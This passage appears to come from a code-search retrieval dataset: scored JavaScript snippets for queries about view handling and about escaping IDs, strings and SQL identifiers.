this.showAppView()\n } else {\n this.showLoginView()\n }\n }", "title": "" }, { "docid": "e61693e908d075d4db0bda41be2aec31", "score": "0.46705794", "text": "get state() { return this.viewState.state; }", "title": "" }, { "docid": "0b909a5a4c3a57b3285e758047281b32", "score": "0.46675125", "text": "function VView(view, model, key, opts) {\n\tthis.view = view;\n\tthis.model = model;\n\tthis.key = key == null ? model : key;\t// same logic as ViewModel\n\tthis.opts = opts;\n}", "title": "" }, { "docid": "4aafb150da29a6119058ec9b49efde01", "score": "0.46616668", "text": "function internalView(viewRef) {\r\n\t return viewRef._view;\r\n\t}", "title": "" }, { "docid": "ada52c410e32d02529624b0d2e387a25", "score": "0.4659872", "text": "function init(config) {\n var supported = config[\"views\"];\n\n var x = 0;\n for (var s in supported) if (supported.hasOwnProperty(s)) {\n var obj = supported[s];\n supportedViews[s] = new gadgets.views.View(obj.name_, obj.isOnlyVisible_);\n //HACK BELOW\n supportedViews[x] = supportedViews[s]; x++; //HACK for back compat to 0.6 container\n //REMOVE ABOVE LINE AT SOME POINT\n var aliases = obj.aliases || [];\n for (var i = 0, alias; alias = aliases[i]; ++i) {\n supportedViews[alias] = new gadgets.views.View(obj.name_, obj.isOnlyVisible_);\n }\n }\n var urlParams = gadgets.util.getUrlParameters();\n if (urlParams[\"p\"]) {\n var tmpParams = gadgets.json.parse(\n\t\t\t\tdecodeURIComponent(urlParams[\"p\"]));\n if (tmpParams) {\n params = tmpParams;\n for (var p in params) if (params.hasOwnProperty(p)) {\n if (null !== params[p] && \"undefined\" !== typeof (params[p])) {\n params[p] = gadgets.util.escapeString(params[p]);\n }\n }\n }\n }\n\n currentView = supportedViews[urlParams.views] || supportedViews[\"default\"];\n }", "title": "" }, { "docid": "66ebdeffb1ebeb22779c7b7f6fc82d8d", "score": "0.4658977", "text": "function ViewData() { }", "title": "" }, { "docid": "66ebdeffb1ebeb22779c7b7f6fc82d8d", "score": "0.4658977", "text": "function ViewData() { }", "title": "" }, { "docid": "66ebdeffb1ebeb22779c7b7f6fc82d8d", "score": "0.4658977", "text": "function ViewData() { }", "title": "" }, { "docid": "66ebdeffb1ebeb22779c7b7f6fc82d8d", "score": "0.4658977", "text": "function ViewData() { }", "title": "" }, { "docid": "66ebdeffb1ebeb22779c7b7f6fc82d8d", "score": "0.4658977", "text": "function ViewData() { }", "title": "" }, { "docid": "567bd0c49ddd5cbef4f29da689c0d26f", "score": "0.46530768", "text": "_loadView(data, hiddenParams) {\n const self = this;\n\n if (data.data) { // backward compatibility.\n data = data.data;\n }\n\n let fullParams;\n if (data.params) {\n fullParams = $.extend({}, data.params, hiddenParams);\n } else {\n fullParams = $.extend({}, hiddenParams);\n }\n\n if (data.user && self.userVersion != data.user.version) {\n self.clearViewCache();\n self.setUserConfig(data.user);\n }\n\n // Application version changed server side, we have to reload the application.\n if (this.getApplicationVersion() != data.version) {\n location.reload();\n }\n\n return this._getViewObject(this.currentView)\n .then((viewObject) => self._initViewObject(viewObject, data)\n .then(() => Promise.resolve(viewObject.load(fullParams)))\n .then(() => Promise.resolve(self._loadContentData(viewObject, data)))\n .then(() => Promise.resolve(self._hookView(viewObject)))\n .then(() => Promise.resolve(self._loadModel(viewObject, data.model)))\n .then(() => Promise.resolve(self._checkAnchor(viewObject)))\n .then(() => Promise.resolve(self._checkOnLoadScroll()))\n .then(() => Promise.resolve(self.isOpeningView = false)))\n .catch((error) => {\n this.isOpeningView = false;\n this._stopObservation();\n this._showFatalError(error);\n return Promise.reject(error);\n });\n }", "title": "" }, { "docid": "726bc7469d8b8eaf851ee6ea8dd3975e", "score": "0.4650792", "text": "get viewCount() {\n return this._views.length;\n }", "title": "" } ]
58fbe9f379631972970802b86eb9e782
this functions adds escape sequences to the ids see
[ { "docid": "5ab502261545b1533a497a30e4aec175", "score": "0.0", "text": "function jq(myid) {\n return '#' + myid.replace(/(:|\\.|\\[|\\])/g, '\\\\$1');\n }", "title": "" } ]
[ { "docid": "0a66e97db81f2a854846679acd5640d3", "score": "0.6557492", "text": "function EscapeId(id)\n{\n id = id.replace(\":\", \"\\\\\\\\:\");\n id = id.replace(\".\", \"\\\\\\\\.\");\n return id;\n}", "title": "" }, { "docid": "eb030e4df489ed91241b5e5393e2b0df", "score": "0.6483265", "text": "function escape_sqlId ( data ) {\n\tfor ( var key in data ) {\n\t\tdata [ key ] = mysql.escapeId ( data [ key ] );\n\t}\n}", "title": "" }, { "docid": "f9e7f3b0e781e6de5a2da6090c67a902", "score": "0.6351572", "text": "function escapeCharacters(identifier) {\n\treturn '#' + identifier.replace( /(:|\\.|\\[|\\]|,|\\/)/g, '\\\\$1' );\n }", "title": "" }, { "docid": "bc3efb4573332c2b5d2acf4ff83578ca", "score": "0.61458814", "text": "escapeIdentifier(str) {\n return '\"' + str.replace(/\"/g, '\"\"') + '\"'\n }", "title": "" }, { "docid": "bc3efb4573332c2b5d2acf4ff83578ca", "score": "0.61458814", "text": "escapeIdentifier(str) {\n return '\"' + str.replace(/\"/g, '\"\"') + '\"'\n }", "title": "" }, { "docid": "7fd4c260a779785bc2c83d2cd9d09ee3", "score": "0.6033216", "text": "function escape(path, ...ids) {\n path = ids.reduce((acc, id) => acc.replace(id, litp), path)\n return path.replace(/\\//g, '\\\\/')\n}", "title": "" }, { "docid": "6019c84f8e79751cad992755f00fcb96", "score": "0.59998727", "text": "function getAlteredID(str) {\r\n\t// for selection in JQuery the ids with : must be endoded with \\\\:\r\n\tvar primfcid = str.replace(':', '\\\\:');\r\n\tvar idDataTbl = '#' + primfcid;\r\n\r\n\treturn idDataTbl;\r\n}", "title": "" }, { "docid": "afb5891f081df28fbbccffce98c87f0c", "score": "0.59539163", "text": "function escapeCssChars(myid) {\n return myid.replace( /(:|\\.|\\[|\\]|,)/g, \"\\\\$1\" );\n}", "title": "" }, { "docid": "7814b93e93c836d9d4c3baafffdc3130", "score": "0.57545453", "text": "function id(a) {\n \f// Form-Feed\n \u000b// Vertical Tab\n // No-Break Space\n ᠎// Mongolian Vowel Separator\n  // En quad\n  // Em quad\n  // En space\n  // Em space\n  // Three-Per-Em Space\n  // Four-Per-Em Space\n  // Six-Per-Em Space\n  // Figure Space\n  // Punctuation Space\n  // Thin Space\n  // Hair Space\n  // Narrow No-Break Space\n  // Medium Mathematical Space\n  // Ideographic Space\n return a;\n}", "title": "" }, { "docid": "cd76b3bea4f241cbba0d1209878f18ec", "score": "0.5713727", "text": "function _id_ify(id) {\n if (typeof(id) === \"undefined\") {\n debugger;\n }\n id = id.replace(/[}{]/g, '-');\n id = id.replace(/['\"]/g, '');\n id = id.replace(/[^A-Za-z0-9_]/g, '-');\n return 'i' + id;\n}", "title": "" }, { "docid": "c8d9708e44983e959a1961b3197c880c", "score": "0.56870705", "text": "function escapeQuotes(id) {\n return id.replace(escapedLiteral, (_, quoted) => `\"${quoted.replace(/\"/g, '\"\"')}`);\n}", "title": "" }, { "docid": "c8d9708e44983e959a1961b3197c880c", "score": "0.56870705", "text": "function escapeQuotes(id) {\n return id.replace(escapedLiteral, (_, quoted) => `\"${quoted.replace(/\"/g, '\"\"')}`);\n}", "title": "" }, { "docid": "798136cfd220b99e44b4e84b77add316", "score": "0.56408143", "text": "function _expandUnicodeEscapes(s) {\n\t\t return s.replace(/\\\\([0-9a-f]{1,6})\\s/gi, function () {\n\t\t var code = arguments[1],\n\t\t repeat = 6 - code.length;\n\t\t while (repeat--) {\n\t\t code = '0' + code;\n\t\t }\n\t\t return '\\\\' + code;\n\t\t });\n\t\t}", "title": "" }, { "docid": "d6571aa14576088b81c116de3d58563f", "score": "0.5587181", "text": "__getSafeId(paper) {\n const id = paper.id.toString();\n\n return id.replace(/[^a-zA-Z0-9]/g, (s) => {\n const c = s.charCodeAt(0);\n if (c === 32) {\n return \"-\";\n }\n return \"__\" + (\"000\" + c.toString(16)).slice(-4);\n });\n }", "title": "" }, { "docid": "ea70b4c13d76813260d5c941f0c4059c", "score": "0.55826515", "text": "function escape(value) {\r\n return value.split('').map(function (character) {\r\n return '\\\\u' + character.charCodeAt(0).toString(16);\r\n }).join('');\r\n}", "title": "" }, { "docid": "f192fe97278d6e57f453e8645d453eb6", "score": "0.5579174", "text": "createIDs() {\n this.recipes.forEach((recipe, index) => this.recipes[index].id = recipe.uri.substring(recipe.uri.indexOf('_') + 1, recipe.uri.length));\n }", "title": "" }, { "docid": "cedf6f81d48e1117febf73ccaabc474a", "score": "0.55651075", "text": "function prepareIds(baseid) {\n ids.addPanel += baseid;\n ids.linkPanel += baseid;\n ids.addCategoryLink += baseid;\n ids.addCategoryPanel += baseid;\n ids.dataListPanel += baseid;\n ids.confirmPanel += baseid;\n }", "title": "" }, { "docid": "6f833cae36097b8d00847f06cc166feb", "score": "0.5560256", "text": "function encode_html_id(str, div) {\n\tvar div = div || \"-\";\n\tstr = str.toLowerCase()\n\t\t.replace(/[à|â|ä]/gi, \"a\") // a\n\t\t.replace(/ç/gi, \"c\") // c\n\t\t.replace(/[é|è|ê|ë]/gi, \"e\") // e\n\t\t.replace(/[î|ï]/gi, \"i\") // i\n\t\t.replace(/[ô|ö]/gi, \"o\") // o\n\t\t.replace(/ù/gi, \"u\") // u\n\t\t.replace(/\\s/g, div) // blank spaces (strict -- no tabulation, no line feed)\n\t\t.replace(/[^a-z|0-9|\\-_]/gi, \"\"); // strip anything else (except alphanumeric, hypens and underscores)\n\treturn str;\n}", "title": "" }, { "docid": "7709bee353ad10b5e07d7ec4746cda95", "score": "0.55323875", "text": "escape(string){\n return string.replace(/\"/g, '\"_QQ_\"').replace(/\\n/g, '\\\\n');\n }", "title": "" }, { "docid": "a1ef4882f66f31695fef19c983b1aedb", "score": "0.5506387", "text": "function makeid(text) {\n const possible =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (let i = 0; i < 8; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "title": "" }, { "docid": "7b0054a3b32b83997c329e5794b95939", "score": "0.54848874", "text": "function genIdString (labelsArr, itemLabels) {\n\tif(isEnglish === true) {\n\t\t//set the id string as corresponding label shortened to 4 characters\n\t\tidString = `psn.manual.ids = ${labelsArr.map(\n\t\t\t(val) => val.substr(0,4)\n\t\t).join(\", \").toLowerCase()}`;\n\t}\n\telse if (isEnglish === false) {\n\t\tidString = `psn.manual.ids = ${itemLabels.map(\n\t\t\t(val) => val)}`;\n\t}\n\t\n\t//Save id string at the beginning of ssnText array\n\tssnText.unshift(idString);\n\treturn idString;\n}", "title": "" }, { "docid": "0f128cb535fcba52818a9e6fb2076138", "score": "0.5484001", "text": "function createIdString() {\n\tvar id=\"\";\n\tfor (var i=0;i<6;i++) \n\t{\n\t\tvar ltr = Math.floor(Math.random() * 26)+65;\n\t\tvar ltr1 = String.fromCharCode(ltr);\n\t\tid += ltr1;\n\t}\n\n\tdebugLog(\"Id=\" + id);\n\n\treturn id;\n}", "title": "" }, { "docid": "7575be3262a5d2da938779a09aca615e", "score": "0.54731274", "text": "function escapeMySqlIdentifier(str) {\n if (!str) {\n throw new Error('MySQL identifiers must be at least 1 character long.');\n }\n if (str.length > 64) {\n throw new Error('MySQL identifiers should not be longer than 64 characters. http://dev.mysql.com/doc/refman/5.7/en/identifiers.html');\n }\n if (str[str.length - 1] === ' ') {\n throw new Error('MySQL identifiers may not end in whitespace');\n }\n if (!/^[A-Za-z0-9_]*$/.test(str)) {\n throw new Error('@database/sql restricts mysql identifiers to alphanumeric characers and underscores.');\n }\n let escaped = '`';\n for (const c of str) {\n if (c === '`') escaped += c + c;else escaped += c;\n }\n escaped += '`';\n return escaped;\n}", "title": "" }, { "docid": "3b6ac21a4a6baf19a0078e6183970f61", "score": "0.54565656", "text": "_insertEmojis(spans) {\n let unicodePrefix = '&#x'\n for (let span of spans) {\n let emojicode = unicodePrefix + span.innerText;\n span.innerHTML = emojicode;\n }\n }", "title": "" }, { "docid": "5d40d6d4cb448a6288ff69e86dfd8ca6", "score": "0.54546905", "text": "beginEscaping() {\n this._send({\n cmd: 'beginEscaping'\n });\n }", "title": "" }, { "docid": "ea7e9a566e66ed3a3198fe74253b30af", "score": "0.5441811", "text": "function myescape(s)\n{\n var ret = \"\";\n for (var i = 0; i < s.length; i++)\n {\n if (isEsc(s.charCodeAt(i)))\n {\n var hex = dec2hex(s.charCodeAt(i)).toUpperCase();\n if (hex.length > 2)\n hex = 'u' + hex;\n ret += '%' + hex;\n }\n else\n ret += s[i];\n }\n return ret;\n}", "title": "" }, { "docid": "ea7e9a566e66ed3a3198fe74253b30af", "score": "0.5441811", "text": "function myescape(s)\n{\n var ret = \"\";\n for (var i = 0; i < s.length; i++)\n {\n if (isEsc(s.charCodeAt(i)))\n {\n var hex = dec2hex(s.charCodeAt(i)).toUpperCase();\n if (hex.length > 2)\n hex = 'u' + hex;\n ret += '%' + hex;\n }\n else\n ret += s[i];\n }\n return ret;\n}", "title": "" }, { "docid": "1978920317a441193aeca822fb5358e2", "score": "0.54312706", "text": "function encodeSeparator(result){return result+escapeChar+encodedSeparatorChar;}", "title": "" }, { "docid": "85844a64ca69f8ecf58c6f840cf41fa2", "score": "0.5395624", "text": "nodeNormalizeIDs(node) {\n if (\n node.tagName &&\n node.getAttribute(\"id\") == null &&\n [\"H1\", \"H2\", \"H3\", \"H4\", \"H5\", \"H6\"].includes(node.tagName)\n ) {\n if (node.getAttribute(\"resource\")) {\n node.setAttribute(\"id\", node.getAttribute(\"resource\"));\n } else {\n let id =\n node.tagName.toLowerCase() + \"-\" + this.hashCode(node.innerText);\n node.setAttribute(\"id\", id);\n }\n }\n }", "title": "" }, { "docid": "69adefed46c1a291e85d3bf9a271cbdc", "score": "0.53927416", "text": "function autoID () {\n return 'lw' + (new Array(31)).join('x').replace(/x/g, replacer);\n}", "title": "" }, { "docid": "df82b1cfd1bdce897c482d6161f54e3a", "score": "0.53842187", "text": "function makeid() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_!@#$%^&*\";\n \n for (var i = 0; i < 50; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n \n return text;\n }", "title": "" }, { "docid": "b476824c2bd569f86be787b28738201d", "score": "0.5377838", "text": "function addID() {\n return this._id.toHexString();\n}", "title": "" }, { "docid": "aabc8febba5ff406f8d4536eb1369cea", "score": "0.5357361", "text": "function makeid() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for( var i=0; i < 10; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n }", "title": "" }, { "docid": "aabc8febba5ff406f8d4536eb1369cea", "score": "0.5357361", "text": "function makeid() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for( var i=0; i < 10; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n }", "title": "" }, { "docid": "7f0e4d68ba9307a6c2bffbfbc859aadc", "score": "0.53499764", "text": "escape(val) {\n if (val instanceof ds_1.Raw) {\n return val.getValue();\n }\n this._re.lastIndex = 0;\n let chunkIndex = this._re.lastIndex;\n let escapedVal = \"\";\n let match;\n if (typeof val === \"string\") {\n val = val.replace(/\\\\'/, \"\\\\\\\\'\");\n }\n /* eslint-disable no-cond-assign */\n while ((match = this._re.exec(val))) {\n escapedVal +=\n val.slice(chunkIndex, match.index) + this.escaper + match[0];\n chunkIndex = this._re.lastIndex;\n }\n if (chunkIndex === 0) {\n return this.wrap + val + this.wrap;\n }\n if (chunkIndex < val.length) {\n return this.wrap + escapedVal + val.slice(chunkIndex) + this.wrap;\n }\n return this.wrap + escapedVal + this.wrap;\n }", "title": "" }, { "docid": "5f1c9b49f313e337f872bb9a6b76415d", "score": "0.5332973", "text": "function createID(heading) {\n\t\theading.id = heading.textContent.replace(/\\W+/g, '-').toLowerCase();\n\t}", "title": "" }, { "docid": "1aa4a00eba545197ed938241ceb30ed5", "score": "0.53277135", "text": "function makeid() {\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n var used = true;\n var text;\n var CODELENGTH = 4;\n\n while (used === true) {\n text = \"\";\n used = false;\n for (var i = 0; i < CODELENGTH; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n used = checkId(text);\n }\n return text;\n }", "title": "" }, { "docid": "29c283e1596241201f5f327e344355fc", "score": "0.52964574", "text": "function _expandUnicodeEscapes(s) {\n return s.replace(/\\\\([0-9a-f]{1,6})\\s/gi, function () {\n var code = arguments[1],\n repeat = 6 - code.length;\n while (repeat--) {\n code = '0' + code;\n }\n return '\\\\' + code;\n });\n}", "title": "" }, { "docid": "f0e3b308b4c36c470d36242e965d6a35", "score": "0.5277147", "text": "function encodeSeparator(result){return result+escapeChar+encodedSeparatorChar}", "title": "" }, { "docid": "f0e3b308b4c36c470d36242e965d6a35", "score": "0.5277147", "text": "function encodeSeparator(result){return result+escapeChar+encodedSeparatorChar}", "title": "" }, { "docid": "72127bd369850367fc7568bcd160b232", "score": "0.5267355", "text": "function\tinhib_quotes(str)\n{\n var\tnb = str.split('%22').length - 1;\n\n for (var i = 0; i < nb; i++)\n\tstr = str.replace('%22', '@dbquote;');\n return (str);\n}", "title": "" }, { "docid": "584d486c1386936900ee451640314cc8", "score": "0.5264518", "text": "function makeId(){var text = \"\"; var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\"; for( var i=0; i < 5; i++ ) { text += possible.charAt(Math.floor(Math.random() * possible.length)); } return text; }", "title": "" }, { "docid": "908161b14da6ad7660d99ff33b164b30", "score": "0.52596396", "text": "function idFunction() {\n return quotation(null);\n}", "title": "" }, { "docid": "c9627a1b3146d58508384acf07130320", "score": "0.5250658", "text": "function escapeIdentifierWithBackticks(rawIdentifier) {\n return (\"`\" +\n String(rawIdentifier).replace(ID_BACKTICK_GLOBAL_REGEXP, \"``\") +\n \"`\");\n}", "title": "" }, { "docid": "1d2d0d8ad4572beea4b958391113a269", "score": "0.52352893", "text": "function makeid() {\r\n var text = '';\r\n var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\r\n for (var i = 0; i < 5; i++) {\r\n text += possible.charAt(Math.floor(Math.random() * possible.length));\r\n }\r\n return text;\r\n }", "title": "" }, { "docid": "14e8f9e54b1811c78d3f2d4b087aa9f4", "score": "0.5235069", "text": "function processEscapes(text) {\n // Markdown extra adds two escapable characters, `:` and `|`\n // If escaped, we convert them to html entities so our\n // regexes don't recognize them. Markdown doesn't support escaping\n // the escape character, e.g. `\\\\`, which make this even simpler.\n return text.replace(/\\\\\\|/g, '&#124;').replace(/\\\\:/g, '&#58;');\n }", "title": "" }, { "docid": "cf095e972cdc76c20773c606c1b5d1ec", "score": "0.5231271", "text": "function escapeJquerySelectorsId( myid ) {\n return \"#\" + myid.replace( /(:|\\.|\\[|\\])/g, \"\\\\$1\" );\n}", "title": "" }, { "docid": "2c64d7055124e310cbe4dd4f215ecc52", "score": "0.5220886", "text": "function makeid() {\n\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n\n for (var i = 0; i < 5; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n\n }", "title": "" }, { "docid": "e9a921305592f5e167058eb675e3a4f8", "score": "0.52109396", "text": "function makeid()\n\t{\n\t var text = \"\";\n\t var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\t\n\t for( var i=0; i < 5; i++ )\n\t text += possible.charAt(Math.floor(Math.random() * possible.length));\n\t\n\t return text;\n\t}", "title": "" }, { "docid": "2073a62b137f5469434f460d90fe4218", "score": "0.51968086", "text": "function id(m) {\r\n var meaning = lang_1.isPresent(m.meaning) ? m.meaning : \"\";\r\n var content = lang_1.isPresent(m.content) ? m.content : \"\";\r\n return lang_1.escape(\"$ng|\" + meaning + \"|\" + content);\r\n}", "title": "" }, { "docid": "69d290b57f1cb55acaf2697656db7852", "score": "0.51948553", "text": "id() {\n return `${this._color}_${this._name}`;\n }", "title": "" }, { "docid": "e6f6d6ab557e1c59a219f3fe27c6e1f0", "score": "0.519149", "text": "function replaceEscapeSequences(string) {\n return StringPrototypeReplace(\n StringPrototypeReplace(\n string,\n ESCAPE_PATTERN,\n (c) => ESCAPE_MAP[c],\n ),\n ESCAPE_PATTERN2,\n (c) =>\n \"\\\\x\" +\n StringPrototypePadStart(\n NumberPrototypeToString(StringPrototypeCharCodeAt(c, 0), 16),\n 2,\n \"0\",\n ),\n );\n}", "title": "" }, { "docid": "70080dbb37f6414b54833e9fbbe54f90", "score": "0.51880676", "text": "function escapeBlob(str) {\n\t return str\n\t .replace(/\\u0002/g, '\\u0002\\u0002')\n\t .replace(/\\u0001/g, '\\u0001\\u0002')\n\t .replace(/\\u0000/g, '\\u0001\\u0001');\n\t}", "title": "" }, { "docid": "814c52ed45d4b3df416930c5c542046e", "score": "0.5171005", "text": "function makeid()\n {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for( var i=0; i < 12; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n }", "title": "" }, { "docid": "1c274c3858b8c2b7597b3b082acd428e", "score": "0.5165937", "text": "function encode_doc_id(id) {\n var encoded = encodeURIComponent(id);\n return encoded.replace(/^_design%2[fF]/, '_design/');\n}", "title": "" }, { "docid": "33c1269ea155a84ff57c67c76ceb58b6", "score": "0.51560414", "text": "function unicodeFromKeyIdentifier(keyId) {\n if (res = /[0-9A-E]{2}\\b/.exec(keyId)) {\n return unescape(\"%\"+res[0]);\n // TODO try to use \\uXXXX instead of unescape, so that any language should work\n // if (res = /U\\+([0-9A-E]{4})\\b/.exec(keyId)) {\n // return String('\\\\u'+res[1]);\n\t} else {\n\t\treturn keyId;\n\t} // if\n} // unicodeFromKeyIdentifier", "title": "" }, { "docid": "24b90d23bea8157778cd3855c2562126", "score": "0.5145053", "text": "function makeid() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for( var i=0; i < 5; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n }", "title": "" }, { "docid": "fb82f530d13d07fe9d2be3b7e60f2740", "score": "0.5143674", "text": "function createId() {\n\tvar text = \"\";\n\tvar possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n\n\tfor (var i = 0; i < 4; i++)\n\t\ttext += possible.charAt(Math.floor(Math.random() * possible.length));\n\n\treturn text;\n}", "title": "" }, { "docid": "e483bd696921ae151b70e522d45f3413", "score": "0.5139878", "text": "function makeid(){\n var text = \"\";\n var possible = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n\n for( var i=0; i < 6; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n }", "title": "" }, { "docid": "6c94e825111086a0bcdac510e27845b3", "score": "0.5138092", "text": "function escapePGIdentifier(str) {\n if (!str) {\n throw new Error('Postgres identifiers must be at least 1 character long.');\n }\n if (str.length > 63) {\n throw new Error('Postgres identifiers should not be longer than 63 characters. https://www.postgresql.org/docs/9.3/sql-syntax-lexical.html');\n }\n if (!/^[A-Za-z0-9_]*$/.test(str)) {\n throw new Error('@database/sql restricts postgres identifiers to alphanumeric characers and underscores.');\n }\n let escaped = '\"';\n for (const c of str) {\n if (c === '\"') escaped += c + c;else escaped += c;\n }\n escaped += '\"';\n return escaped;\n}", "title": "" }, { "docid": "09f002e760bf344b48669ad37211cf61", "score": "0.5114067", "text": "function encodeReserved(val) {\n //return encodeURI(val).replace(SELECTEDCHARS_RE, function(s) {return escape(s)} );\n return encodeURI(val); // no need for additional replace if selected-chars is empty\n }", "title": "" }, { "docid": "09f002e760bf344b48669ad37211cf61", "score": "0.5114067", "text": "function encodeReserved(val) {\n //return encodeURI(val).replace(SELECTEDCHARS_RE, function(s) {return escape(s)} );\n return encodeURI(val); // no need for additional replace if selected-chars is empty\n }", "title": "" }, { "docid": "6f509fd5713f8060cd3f47ae2c85ca74", "score": "0.510346", "text": "function encodeSeparator(result) {\r\n return result + escapeChar + encodedSeparatorChar;\r\n}", "title": "" }, { "docid": "6f509fd5713f8060cd3f47ae2c85ca74", "score": "0.510346", "text": "function encodeSeparator(result) {\r\n return result + escapeChar + encodedSeparatorChar;\r\n}", "title": "" }, { "docid": "6f509fd5713f8060cd3f47ae2c85ca74", "score": "0.510346", "text": "function encodeSeparator(result) {\r\n return result + escapeChar + encodedSeparatorChar;\r\n}", "title": "" }, { "docid": "6f509fd5713f8060cd3f47ae2c85ca74", "score": "0.510346", "text": "function encodeSeparator(result) {\r\n return result + escapeChar + encodedSeparatorChar;\r\n}", "title": "" }, { "docid": "579c0c5e5d055b3d4da3eb5e253b309e", "score": "0.5098526", "text": "function randomizeIDs() {\r\n\t\t\tfunction replacer(n) {\r\n\t\t\t\treturn rtStr[parseInt(n)];\r\n\t\t\t}\r\n\t\t\t// 0 1 2 3 4 5 6 7 8 9\r\n\t\t\tvar rtStr = [ 'd', 'h', 'w', 'l', 'y', 'm', 't', 'a', 'b', 'i' ];\r\n\t\t\tvar UUIDs = '';\r\n\t\t\tfor ( var i = 0; i < allIDs.length; i++) {\r\n\t\t\t\tdo {\r\n\t\t\t\t\tvar rID_num = (Math.round(Math.random()\r\n\t\t\t\t\t\t\t* Math.pow(10, Math.random() * 3 + 5) + 1e3))\r\n\t\t\t\t\t\t\t.toString();\r\n\t\t\t\t\tvar rID = rID_num.replace(/\\d/g, replacer);\r\n\t\t\t\t\tvar Rej = new RegExp(rID);\r\n\t\t\t\t} while (Rej.test(UUIDs))\r\n\t\t\t\tUUIDs += rID + ',';\r\n\t\t\t\tallIDs[i] = rID;\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "fc0fd476c121d573202e86cdeb9512ba", "score": "0.50911033", "text": "function addAnchors(text) {\n if(text.charAt(0) != '\\x02')\n text = '\\x02' + text;\n if(text.charAt(text.length - 1) != '\\x03')\n text = text + '\\x03';\n return text;\n }", "title": "" }, { "docid": "4b29616432bd78f193fef90f849c1b5a", "score": "0.508942", "text": "escapeCharactersCallback(wholeMatch, m1) {\n 'use strict';\n var charCodeToEscape = m1.charCodeAt(0);\n return '~E' + charCodeToEscape + 'E';\n }", "title": "" }, { "docid": "aa0162be8e9a47c06297441c62c18190", "score": "0.5087832", "text": "function opSetId(id, xml) {\n return xml.replace(/\\$\\$ID\\$\\$/g, id);\n}", "title": "" }, { "docid": "19e8705a3386b49528915a17c1ef7602", "score": "0.5077562", "text": "function unescapeQuotes(id) {\n return id.replace(escapedLiteral, (_, quoted) => `\"${quoted.replace(/\"\"/g, '\"')}`);\n}", "title": "" }, { "docid": "19e8705a3386b49528915a17c1ef7602", "score": "0.5077562", "text": "function unescapeQuotes(id) {\n return id.replace(escapedLiteral, (_, quoted) => `\"${quoted.replace(/\"\"/g, '\"')}`);\n}", "title": "" }, { "docid": "ea692e1e1001ffe90b48a02ab4729ebf", "score": "0.5075047", "text": "function makeid() {\r\n var text = \"\";\r\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\r\n\r\n for (var i = 0; i < 10; i++)\r\n text += possible.charAt(Math.floor(Math.random() * possible.length));\r\n return text;\r\n}", "title": "" }, { "docid": "0e711cd530e7e89c028010554bc1d80b", "score": "0.50704587", "text": "quoteIdentifiers(identifiers, force) {\n return this.QueryGenerator.quoteIdentifiers(identifiers, force);\n }", "title": "" }, { "docid": "739ec6e279529df47e0887d1ab9e7238", "score": "0.5069265", "text": "function makeid(l)\n{\nvar text = \"\";\nvar char_list = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\nfor(var i=0; i < l; i++ )\n{ \ntext += char_list.charAt(Math.floor(Math.random() * char_list.length));\n}\nreturn text;\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": "d6538c0ef4e6c411719ac8c1f2ce3169", "score": "0.5068366", "text": "function escape(data) {\n return data.replace(reEscapeChars, singleCharReplacer);\n}", "title": "" }, { "docid": 